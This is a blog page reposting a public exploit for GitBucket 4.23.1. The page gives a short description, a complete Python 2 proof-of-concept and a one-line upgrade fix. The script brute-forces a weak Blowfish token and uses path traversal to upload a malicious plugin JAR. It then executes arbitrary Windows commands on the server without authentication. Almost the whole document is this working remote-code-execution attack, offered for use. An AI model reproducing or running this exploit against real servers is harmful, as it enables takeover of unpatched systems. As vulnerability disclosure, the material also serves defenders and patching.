Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104009

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: GitBucket 4.23.1 Unauthenticated RCE
# Date: 21-05-2018
# Software Link: https://github.com/gitbucket/gitbucket
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote

1. Description
 
Abusing weak secret token and passing insecure parameter to File function.
 
2. Proof of Concept

import os 
try:
	from Crypto.Cipher import Blowfish
except:
	print "pip install pycrypto"
	os._exit(0)

import binascii
import base64
import urllib2
import urllib
import time
import sys
import pickle

print "GitBucket 4.23.1 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "Working only when server is installed on Windows"

def PKCS5Padding(string):
    byteNum = len(string)
    packingLength = 8 - byteNum % 8
    appendage = chr(packingLength) * packingLength
    return string + appendage

def encrypt(content, key):
    content = PKCS5Padding(content)
    cipher = Blowfish.new(key, Blowfish.MODE_ECB)
    return base64.b64encode(cipher.encrypt(content))

def get_file(git_bucket_url, file, key, expiration_time):
    payload = "{} {}".format(expiration_time, file)
    authorization = encrypt(payload, key)
    url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file)

    try:
        request = urllib2.Request(url)
        request.add_header("Authorization", authorization)   
        result = urllib2.urlopen(request).read()
        return result

    except Exception, e:
        # If payload is correct and file does not exist, we got error 400
        if not "Error 500" in e.read():
            return 'OK'

def put_file(git_bucket_url, file, key, expiration_time, content):
    payload = "{} {}".format(expiration_time, file)
    authorization = encrypt(payload, key)
    url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file)

    try:
        request = urllib2.Request(url, data=content)
        request.add_header("Authorization", authorization)
        request.get_method = lambda: 'PUT' 
        result = urllib2.urlopen(request)
        return result.getcode() == 200
        
    except Exception, e:
        return None

def send_command(git_bucket_url, command):
    try:
        result = urllib2.urlopen("{}/exploit?{}".format(git_bucket_url, urllib.urlencode({'command' : command}))).read()
        return result
    except:
        return None

def pickle_key(url, key):
    output = open(pickle_path, "wb")
    pickle.dump({'url' : url, 'key' : key}, output)
    output.close()
    print "[+] Key pickled for futher use"


def unpickle_key(url):
    if os.path.isfile(pickle_path):
        pickled_file = open(pickle_path, "rb")
        data = pickle.load(pickled_file)
        pickled_file.close()
        if data['url'] == url:
            return data['key']
    return None

if len(sys.argv) != 3:
    print "[-] Usage: exploit.py url command"
    os._exit(0)


exploit_jar = 'exploit.jar'
url = sys.argv[1]
command = sys.argv[2]
pickle_path = 'gitbucket.pickle'

if url.endswith('/'):
    url = url[0:-1]

try:
    is_gitbucket = urllib2.urlopen("{}/api/v3/".format(url), timeout=5).read()
except:
    is_gitbucket = ""

if not is_gitbucket.startswith('{"rate_limit_url"'):
    print "[-] Probably not gitbucket url: {}".format(url)
    os._exit(0)

if not os.path.isfile(exploit_jar):
    print "[-] Missing exploit file: {}".format(exploit_jar)
    os._exit(0)

expiration_time = int(round(time.time() * 1000))+(1000*6000)
print "[+] Set expire time to: {}".format(expiration_time)

print "[+] Start search blowfish key: "
for i in range(0, 10000):
    if i % 100 == 0:
        print "+",

    potential_key = unpickle_key(url)
    if potential_key:
        print "\n[+] Unpickle key, try it"
    else:
        potential_key = str(i).zfill(4)

    config_path = "non_existing_file"
    config_content = get_file(url, config_path, potential_key, expiration_time)
    if config_content:
        print "\n[+] Found blowfish key: {}".format(potential_key)
        print "[+] Config content:\n{}".format(config_content)

        exploit_path = "..\..\..\..\plugins\exploit.jar"
        f = open(exploit_jar, "rb")
        exploit_content = f.read()
        f.close()
        if put_file(url, exploit_path, potential_key, expiration_time, exploit_content):
            print "[+] Wait few second for plugin load"
            time.sleep(5)
            command_content = send_command(url, "cmd /c {}".format(command))

            if command_content:            
                    pickle_key(url, potential_key)
                    print command_content
            else:
                print "[-] Cannot execute command"
            
        else:
            print "[-] Cannot upload exploit.jar"
        
        os._exit(0)

3. Solution:
  
Update to version 4.24.1
  
https://github.com/gitbucket/gitbucket/releases/download/4.24.1/gitbucket.war